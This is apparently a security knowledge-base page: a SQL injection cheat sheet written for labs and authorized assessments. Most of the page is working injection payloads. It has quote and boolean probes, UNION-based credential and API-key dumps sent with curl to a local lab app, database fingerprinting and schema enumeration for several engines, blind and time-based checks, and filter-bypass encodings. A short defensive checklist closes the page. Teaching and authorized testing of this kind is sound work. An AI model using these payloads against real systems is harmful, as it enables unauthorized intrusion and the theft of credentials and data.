Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter III - Web / 06. SQLi

Cheatsheet

Use this as a quick reference while testing SQL injection in labs and authorized assessments.


Quick Probes

String context:

'
"
`)
')
"))

Boolean true and false:

' AND '1'='1
' AND '1'='2
' OR '1'='1'-- -

Numeric true and false:

1 AND 1=1
1 AND 1=2
1 OR 1=1

Comment styles:

-- -
#
/* comment */

Lab curl Checks

Normal search:

curl -i "http://127.0.0.1:5000/sqli/basic?q=Signal"

SQLite version:

curl -i --get "http://127.0.0.1:5000/sqli/basic" \
  --data-urlencode "q=nope' UNION SELECT 1,sqlite_version(),'x','y'-- "

Dump seeded users:

curl -i --get "http://127.0.0.1:5000/sqli/basic" \
  --data-urlencode "q=nope' UNION SELECT id,username,password,api_key FROM users-- "

Weak blacklist bypass:

curl -i --get "http://127.0.0.1:5000/sqli/blacklist" \
  --data-urlencode "q=nope'/**/UNION/**/SELECT/**/id,username,password,api_key/**/FROM/**/users-- "

Better-stage dynamic field exploit:

curl -i --get "http://127.0.0.1:5000/sqli/better" \
  --data-urlencode "q=Signal" \
  --data-urlencode "field=(SELECT group_concat(username || ':' || password, char(10)) FROM users)"

Fixed route:

curl -i --get "http://127.0.0.1:5000/sqli/fixed" \
  --data-urlencode "q=Signal" \
  --data-urlencode "field=(SELECT group_concat(username || ':' || password, char(10)) FROM users)"

The fixed route should return 400 Bad Request.


UNION Workflow

Find column count:

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' ORDER BY 4-- -

Alternative:

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL,NULL-- -

Find displayed columns:

' UNION SELECT 1,2,3,4-- -

Extract through displayed columns:

' UNION SELECT 1,sqlite_version(),'x','y'-- -
' UNION SELECT id,username,password,api_key FROM users-- -

Database Fingerprints

SQLite:

SELECT sqlite_version();

MySQL:

SELECT @@version;
SELECT database();
SELECT user();

PostgreSQL:

SELECT version();
SELECT current_database();
SELECT current_user;

MSSQL:

SELECT @@version;
SELECT DB_NAME();
SELECT SYSTEM_USER;

Oracle:

SELECT banner FROM v$version;
SELECT user FROM dual;

Schema Enumeration

SQLite:

SELECT name FROM sqlite_master WHERE type='table';
SELECT sql FROM sqlite_master WHERE sql IS NOT NULL;
PRAGMA table_info(users);

MySQL / PostgreSQL:

SELECT table_name FROM information_schema.tables;
SELECT column_name FROM information_schema.columns WHERE table_name='users';

MSSQL:

SELECT name FROM sys.databases;
SELECT name FROM sys.tables;
SELECT name FROM sys.columns WHERE object_id = OBJECT_ID('users');

Oracle:

SELECT table_name FROM all_tables;
SELECT column_name FROM all_tab_columns WHERE table_name='USERS';

Blind Checks

Boolean extraction shape:

' AND substr((SELECT username FROM users LIMIT 1),1,1)='a'-- -

Length check:

' AND length((SELECT username FROM users LIMIT 1))>5-- -

Existence check:

' AND EXISTS(SELECT 1 FROM users WHERE username='admin')-- -

Time-Based Checks

MySQL:

SLEEP(5)

PostgreSQL:

pg_sleep(5)

MSSQL:

WAITFOR DELAY '0:0:5'

Oracle:

DBMS_PIPE.RECEIVE_MESSAGE('x',5)

SQLite does not have a clean built-in sleep function. Heavy expressions may create measurable delay in labs, but they are noisy and unreliable.


Filter Bypass Ideas

Whitespace alternatives:

%09
%0a
%0d
/**/

Keyword casing:

UnIoN SeLeCt

Inline comments:

UNION/**/SELECT

String building:

CHAR(65,66,67)
CONCAT('ad','min')

URL encoding:

%27%20OR%20%271%27%3D%271%27--%20

Bypasses are database and application specific. Confirm behavior instead of assuming a payload is portable.


Defensive Review

Confirm:

  • Queries use parameters for values.
  • Dynamic identifiers use strict allowlists.
  • Database accounts have least privilege.
  • Verbose SQL errors are not returned to users.
  • Dangerous database features are disabled or restricted.
  • Authentication queries do not reveal whether a username exists.
  • Logs capture suspicious query errors and repeated probing.